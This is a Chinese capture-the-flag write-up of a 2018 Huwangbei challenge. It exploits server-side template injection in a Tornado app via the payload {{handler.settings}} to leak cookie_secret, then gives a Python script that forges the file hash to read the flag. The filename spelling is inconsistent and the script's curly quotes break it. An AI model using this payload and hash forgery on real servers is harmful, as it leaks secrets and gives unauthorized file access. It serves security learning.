这是一道2018年护网杯的题目
/flag.txt
/welcome.txt
/hints.txt
一共有3个文件。
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
进入第一个文件flag.txt,发现好像提示文件名为/fllllllllllag
,
进入第二个文件welcome.txt,发现提示为render,render({options}) 去向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。
进入第三个文件hints.txt,发现提示md5(cookie_secret + md5(filename))
,即先将filename
md5加密,再将cookie_secret
与md5加密后的filename
进行md5加密,目前我们需要知道的是filename
和cookie_secret
,猜测文件名为/fllllllllllag
,也就是说,只要知道cookie_secret
就行了。
观察查看文件时使用的url:
http://111.198.29.45:56630/file?filename=/hints.txt&filehash=b10fbfd1f38e8dd058abe90e0df3db8d
猜测md5(cookie_secret + md5(filename))
的结果就是访问文件时所需要的filehash
。
尝试访问/fllllllllllag
,发现跳转到错误页面
页面中存在msg,尝试:
证实存在模板注入漏洞
查阅资料,发现 secure cookie
是Tornado 用于保护cookies安全的一种措施。
cookie_secret
保存在settings
中
发现self.application.settings
有一个别名
handler指向的处理当前这个页面的RequestHandler
对象, RequestHandler.settings
指向self.application.settings
, 因此handler.settings
指向RequestHandler.application.settings
。
可以构造payload获取cookie_secret
payload:error?msg={{handler.settings}}
获得cookie_secret,编写脚本,计算md5(cookie_secret + md5(filename))
import hashlib
filename = ‘/fllllllllllllag‘
cookie_secret ="6fe556f1-9b77-481e-9535-c4e9f803b89d"
def getvalue(string):
md5 = hashlib.md5()
md5.update(string.encode(‘utf-8‘))
return md5.hexdigest()
def merge():
print(getvalue(cookie_secret + getvalue(filename)))
merge()
得到flag:
原文:https://www.cnblogs.com/chalan630/p/12609470.html